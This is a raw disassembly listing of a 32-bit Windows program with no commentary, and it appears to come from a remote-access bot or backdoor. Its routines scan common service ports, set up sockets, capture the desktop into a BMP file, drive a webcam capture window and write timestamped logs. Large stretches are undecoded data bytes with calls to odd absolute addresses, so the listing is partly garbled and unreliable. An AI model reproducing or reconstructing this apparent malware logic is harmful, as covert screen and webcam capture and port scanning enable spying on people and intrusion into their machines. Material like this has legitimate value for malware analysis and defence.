dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h dd 6F98E8F0h, 5959FFFFh, 7DE89056h, 55022BBBh, 0EC81EC8Bh dd 0CCh, 358B5653h, 4270A8h, 8957DB33h, 0D6FFFC5Dh, 0FF68h dd 6A036A00h, 0F0458902h, 0AFF415FFh, 4589004Ch, 50D6FFF8h dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0C830E800h, 2B900226h dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h dd 4CE7281Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h dd 707Ch, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h dd 4CAF18h, 0FF68h, 0E8016A00h, 4150h, 0F505959h, 509E45B6h dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D57068h dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh, 868FFFFh dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh dd 4CAFB4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h dd 15FFA845h, 4CAF74h, 0AE458966h, 7345E8h, 45896600h dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h, 66000073h dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h dd 7301E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh dd 6FFFFFFh, 0D0E8E890h, 89667169h, 0FFFF5E85h, 60858DFFh dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah dd 8D535088h, 5056A845h, 0FFF875FFh, 4CAFD815h, 0FC45FF00h dd 0FFFE20E9h, 0F875FFFFh, 0B00C15FFh, 458B004Ch, 5B5E5FFCh ; --------------------------------------------------------------------------- leave retn ; --------------------------------------------------------------------------- word_4146CE dw 8B55h ; DATA XREF: sub_401ACD+4CBFo dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h dd 214h, 0EC858D50h, 68FFFFFBh, 435EE4h, 7160E850h, 858D0000h dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h, 0C483FFFFh dd 90006A14h, 2BB8BBE8h, 0EC8B5502h, 254EC81h, 56530000h dd 0FFBBh, 6A535700h, 0FF026A03h, 4CAFF415h, 0FFF88300h dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 4360D4h, 710CE850h dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF54h, 75FFF883h, 815FF0Eh dd 50004CAFh, 43608468h, 8D1BEB00h, 0FF500C45h, 4CAFB415h dd 0FFF88300h, 15FF2075h, 4CAF08h, 60406850h, 858D0043h dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch, 66570000h dd 2DC45C7h, 7415FF00h, 66004CAFh, 8DDE4589h, 0E8500C45h dd 7169CB00h, 0A8358B90h, 89004270h, 0D6FFE045h, 8DF84589h dd 8D500C45h, 0FFFDAC85h, 601468FFh, 0E8500043h, 706Ah dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h dd 41Ch, 0FFBB05EBh, 39000000h, 4CE7283Dh, 6A527500h, 45895810h dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h dd 0FF50CC45h, 15FF0875h, 4CAF18h, 0E8016A53h, 3DD4h, 0F505959h dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D57068ACh dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE10868h dd 0CDE85000h, 59000075h, 5C65659h, 4CE308h, 7415FF45h dd 66004CAFh, 4CE30AA3h, 0AC458D00h, 5C76650h, 4CE30Ch dd 89660001h, 4CE30E3Dh, 1005C600h, 80004CE3h, 0E31105C6h dd 6611004Ch, 0E3123D89h, 15FF004Ch, 4CAFB4h, 4CE314A3h dd 0E0458B00h, 4CE318A3h, 8C858D00h, 50000000h, 223D8966h dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6E10E8h, 0FF505900h dd 4CAF7415h, 1EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h dd 0F7000004h, 158966F9h, 4CE31Ch, 0AF7415FFh, 68004Ch dd 66000004h, 4CE320A3h, 6F3CE800h, 0F7990000h, 246852FBh dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h dd 4CE308h, 0FFF475FFh, 4CAFD815h, 0FFF88300h, 0A5840Fh dd 45FF0000h, 33E890FCh, 2B0226C3h, 0D233F845h, 3E8B9h dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h dd 0FE74860Fh, 75FFFFFFh, 0C15FFF4h, 8B004CB0h, 858DFC75h dd 10Ch, 1CF66950h, 0E8000004h, 6D59h, 8BD23359h, 0C1C68BC8h dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FB068h dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh dd 0FF56FC75h, 4CAF0815h, 458D5000h, 2468500Ch, 0EB00435Fh db 0ACh byte_414A91 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6361o dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh dd 4CAFB415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h dd 610068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h, 0FFFFFBECh dd 67AE850h, 75FF0000h, 68D8E8F0h, 5959FFFFh, 0B4BEE856h dd 5F90022Bh ; --------------------------------------------------------------------------- pop esi push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 cmp dword ptr [ebp+14h], 0 push esi push edi jnz short loc_414B6E push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] nop call near ptr 71AB3E5Dh jmp loc_414C2A ; --------------------------------------------------------------------------- loc_414B6E: ; CODE XREF: ___:00414B58j mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi nop call near ptr 71AB155Ah push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4CAF1C push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4CAF5C test eax, eax jnz short loc_414BD2 or eax, 0FFFFFFFFh jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BD2: ; CODE XREF: ___:00414BCBj or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_414BDD loc_414BD9: ; CODE XREF: ___:00414BFDj ; ___:00414C21j mov eax, edi jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BDD: ; CODE XREF: ___:00414BD7j lea eax, [ebp-10Ch] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_414BFF lea eax, [ebp-210h] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jz short loc_414BD9 loc_414BFF: ; CODE XREF: ___:00414BECj lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi call near ptr 71AB4122h nop cmp eax, edi jz short loc_414BD9 mov eax, [ebp-4] neg eax sbb eax, eax loc_414C2A: ; CODE XREF: ___:00414B69j ; ___:00414BD0j ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- dw 8B55h dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh, 6AEC4D8Dh dd 26A5104h, 98A35053h, 0FF004CE7h, 4CAF5415h, 0A8358B00h dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h, 0FF00BD8Dh dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 7415FF50h dd 53004CAFh, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CAFF415h dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B00C15FFh, 5D39004Ch dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h dd 7C70FC7Dh, 0E79CBF83h, 2C68004Ch, 570042CAh, 6A85E8h dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h dd 1574C33Bh, 2C685750h, 57004361h, 0E8F04589h, 6A46h dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h dd 4CAF7415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h dd 0A87C1CFCh, 6853286Ah, 4CE738h, 6717E8h, 0FFFFBE00h dd 5C60000h, 4CE738h, 685645h, 0C6000004h, 4CE74105h, 5C60600h dd 4CE739h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAF74h dd 0A366286Ah, 4CE73Ch, 0AF7415FFh, 0D80004Ch, 4CE740h dd 281D39FFh, 66004CE7h, 4CE73AA3h, 1D896600h, 4CE73Eh dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h, 0C1084D8Bh dd 0CE2310E0h, 0BEBC10Bh, 4CE10868h, 0B415FF00h, 0A3004CAFh dd 4CE744h, 6808458Bh, 4000h, 4CE748A3h, 591D8800h, 0FF004CE7h dd 4CAF7415h, 66535600h, 4CE75AA3h, 3762E800h, 0F88B0000h dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AF7015FFh dd 50A3004Ch, 0A0004CE7h, 4CE758h, 24087D8Bh, 6A500C0Fh dd 0E758A214h, 8B66004Ch, 1D89F045h, 4CE754h, 5E1D8966h dd 66004CE7h, 4CE74EA3h, 743D8900h, 88004CE7h, 4CE7781Dh dd 7905C600h, 6004CE7h, 0AF7415FFh, 0A366004Ch, 4CE77Ah dd 0E74EA166h, 0C766004Ch, 4CE76005h, 89000200h, 4CE7643Dh dd 62A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h dd 53562F75h, 36CBE8h, 50595900h, 0AF7415FFh, 0A366004Ch dd 4CE74Ch, 4CE744A1h, 0E770A300h, 5C6004Ch, 4CE759h, 541D8902h dd 0EB004CE7h, 0C653561Fh, 4CE75905h, 95E81000h, 59000036h dd 15FF5059h, 4CAF74h, 0A3C0B70Fh, 4CE754h, 3C05FF66h dd 0FF004CE7h, 4CE75005h, 4EA16600h, 6A004CE7h, 4CBE5905h dd 0BF004CE7h, 4CE77Ch, 421D8966h, 66004CE7h, 0E75C1D89h dd 146A004Ch, 38BEA5F3h, 66004CE7h, 4CE762A3h, 25E85600h dd 6AFFFF5Ch, 0E7706820h, 0A366004Ch, 4CE742h, 0FF5C13E8h dd 10C483FFh, 0E75CA366h, 106A004Ch, 4CE76068h, 286A5300h dd 9835FF56h, 0FF004CE7h, 4CAFD815h, 0FC45FF00h, 0FFFC7D81h dd 0F000003h, 0FFFF238Ch, 87E890FFh, 2B0226BCh, 0D233F445h dd 3E8B9h, 3BF1F700h, 0E770C45h, 0E81075FFh, 225B50Fh dd 0FDC2E990h, 5E5FFFFFh, 4CE79CB8h, 0C3C95B00h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150B4 proc near ; CODE XREF: sub_401ACD+71FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43D130 mov edi, 0B8h loc_4150C8: ; CODE XREF: sub_4150B4+33j cmp byte ptr [esi], 0 jz short loc_4150EB push [ebp+arg_0] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4150EB inc [ebp+var_4] add esi, edi cmp esi, offset dword_43DCB0 jl short loc_4150C8 jmp short loc_41512D ; --------------------------------------------------------------------------- loc_4150EB: ; CODE XREF: sub_4150B4+17j ; sub_4150B4+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43D130[esi] push ebx call sub_41B590 push 17h push [ebp+arg_0] push ebx call sub_41B5F0 push 9Fh lea eax, dword_43D148[esi] push [ebp+arg_4] push eax call sub_41B5F0 add esp, 24h inc dword_429230 pop ebx loc_41512D: ; CODE XREF: sub_4150B4+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_4150B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415134 proc near ; CODE XREF: sub_401ACD+28DDp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_436148 push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h xor edi, edi mov esi, offset dword_43D130 loc_41515E: ; CODE XREF: sub_415134+72j cmp byte ptr [esi], 0 jz short loc_415199 lea eax, [esi+18h] push eax push esi push edi push offset dword_436134 lea eax, [ebp+var_200] push 200h push eax call sub_41B980 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch loc_415199: ; CODE XREF: sub_415134+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43DCB0 jl short loc_41515E pop edi pop esi leave retn sub_415134 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151AC proc near ; CODE XREF: ___:004015A5p ; ___:00401629p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 27704B0h mov ebx, offset dword_4D2B9C mov edi, 80h mov esi, offset dword_4CEB9C loc_4151CE: ; CODE XREF: sub_4151AC+3Dj cmp byte ptr [ebx], 0 jz short loc_4151E5 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41B5F0 add esp, 0Ch loc_4151E5: ; CODE XREF: sub_4151AC+25j sub ebx, edi cmp ebx, esi jge short loc_4151CE movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41B980 add esp, 28h pop edi pop esi pop ebx leave retn sub_4151AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415220 proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_402077p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C190 lea eax, [ebp+var_80] push eax call sub_4151AC add esp, 14h leave retn sub_415220 endp ; =============== S U B R O U T I N E ======================================= sub_41524C proc near ; CODE XREF: sub_401ACD+27D4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CEB9C xor ecx, ecx loc_415253: ; CODE XREF: sub_41524C+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D2B9C jl short loc_415253 cmp [esp+arg_C], ecx jnz short loc_415281 push ecx push [esp+4+arg_8] push offset dword_436194 push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409A72 add esp, 14h loc_415281: ; CODE XREF: sub_41524C+19j push offset dword_436180 call sub_4151AC pop ecx retn sub_41524C endp ; --------------------------------------------------------------------------- byte_41528D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2887o ; --------------------------------------------------------------------------- sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_4152E0 push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_4361C4 push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_4152E0: ; CODE XREF: ___:004152C0j cmp byte ptr [ebp-98h], 0 jz short loc_415300 lea eax, [ebp-98h] push eax call sub_41B779 test eax, eax pop ecx mov [ebp-4], eax jz short loc_415300 mov [ebp-8], eax loc_415300: ; CODE XREF: ___:004152E7j ; ___:004152FBj and dword ptr [ebp+8], 0 mov esi, offset dword_4CEB9C loc_415309: ; CODE XREF: ___:00415361j mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415363 cmp byte ptr [esi], 0 jz short loc_415352 cmp byte ptr [ebp-98h], 0 jz short loc_415338 cmp dword ptr [ebp-4], 0 jnz short loc_415338 lea eax, [ebp-98h] push eax push esi call sub_418086 pop ecx test eax, eax pop ecx jz short loc_415352 loc_415338: ; CODE XREF: ___:0041531Dj ; ___:00415323j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_415352: ; CODE XREF: ___:00415314j ; ___:00415336j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D2B9C jl short loc_415309 loc_415363: ; CODE XREF: ___:0041530Fj lea eax, [ebp-31Ch] push offset dword_4361A8 push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_41539D push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_41539D: ; CODE XREF: ___:0041537Bj lea eax, [ebp-31Ch] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 pop ecx pop ecx push esi ; --------------------------------------------------------------------------- dd 2BAC47E8h, 5E5F9002h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153BC proc near ; CODE XREF: sub_401ACD+734Fp var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_4CAF60 mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4155F0 push 8 push edi call dword_4CAF7C push 0Ah push edi mov [ebp+var_8], eax call dword_4CAF7C push 0Ch push edi mov [ebp+var_C], eax call dword_4CAF7C cmp eax, 8 mov [ebp+var_10], eax ja short loc_41541E push 18h push edi call dword_4CAF7C mov ebx, 100h jmp short loc_415420 ; --------------------------------------------------------------------------- loc_41541E: ; CODE XREF: sub_4153BC+50j xor ebx, ebx loc_415420: ; CODE XREF: sub_4153BC+60j push edi call dword_4CAFC0 cmp eax, esi mov [ebp+var_4], eax jz loc_4155D5 mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_4CAFB8 cmp eax, esi mov [ebp+var_1C], eax jz loc_4155E0 push eax push [ebp+var_4] call dword_4CAE44 cmp eax, esi jz loc_4155E0 cmp eax, 0FFFFFFFFh jz loc_4155E0 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_4CAFBC test eax, eax jz loc_4155E0 cmp ebx, esi jz short loc_4154DD lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_4CAE98 mov ebx, eax loc_4154DD: ; CODE XREF: sub_4153BC+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi nop call near ptr 26F0867h cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4155C0 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax nop call near ptr 26E0000h lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] nop call near ptr 26E0000h cmp ebx, esi jz short loc_4155A2 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] nop call near ptr 26E0000h loc_4155A2: ; CODE XREF: sub_4153BC+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] nop call near ptr 26E0000h push [ebp+arg_0] nop call near ptr 265092Ah push 1 pop esi loc_4155C0: ; CODE XREF: sub_4153BC+1A2j push [ebp+var_1C] call dword_4CAED0 push [ebp+var_4] call dword_4CAE30 mov edi, [ebp+var_20] loc_4155D5: ; CODE XREF: sub_4153BC+70j push edi call dword_4CAE30 mov eax, esi jmp short loc_4155F2 ; --------------------------------------------------------------------------- loc_4155E0: ; CODE XREF: sub_4153BC+C7j ; sub_4153BC+D9j ... push edi call dword_4CAE30 push [ebp+var_4] call dword_4CAE30 loc_4155F0: ; CODE XREF: sub_4153BC+23j xor eax, eax loc_4155F2: ; CODE XREF: sub_4153BC+222j pop edi pop esi pop ebx leave retn sub_4153BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155F7 proc near ; CODE XREF: sub_401ACD+7476p var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BA0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEC4 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_415635 mov eax, esi jmp loc_4157EB ; --------------------------------------------------------------------------- loc_415635: ; CODE XREF: sub_4155F7+35j push edi call dword_4CAF14 test eax, eax jz short loc_415652 push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CAFD0 jmp short loc_415654 ; --------------------------------------------------------------------------- loc_415652: ; CODE XREF: sub_4155F7+47j xor eax, eax loc_415654: ; CODE XREF: sub_4155F7+59j cmp eax, ebx jnz short loc_41565F loc_415658: ; CODE XREF: sub_4155F7+88j ; sub_4155F7+BCj mov ebx, esi jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_41565F: ; CODE XREF: sub_4155F7+5Fj push edi call dword_4CAF14 test eax, eax jz short loc_41567C lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_4CAFD0 loc_41567C: ; CODE XREF: sub_4155F7+71j cmp [ebp+var_20], ebx jz short loc_415658 push edi call dword_4CAF14 test eax, eax mov edi, 42Ch jz short loc_4156A2 push ebx push ebx push edi push [ebp+var_4] call dword_4CAFD0 mov [ebp+arg_4], eax jmp short loc_4156A5 ; --------------------------------------------------------------------------- loc_4156A2: ; CODE XREF: sub_4155F7+98j mov [ebp+arg_4], ebx loc_4156A5: ; CODE XREF: sub_4155F7+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_415658 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4156CC push 1 pop ebx jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_4156CC: ; CODE XREF: sub_4155F7+CBj push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4156E9 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_4156E9: ; CODE XREF: sub_4155F7+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_41C310 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_415704 mov ecx, 280h loc_415704: ; CODE XREF: sub_4155F7+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_415710 mov eax, 1E0h loc_415710: ; CODE XREF: sub_4155F7+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl 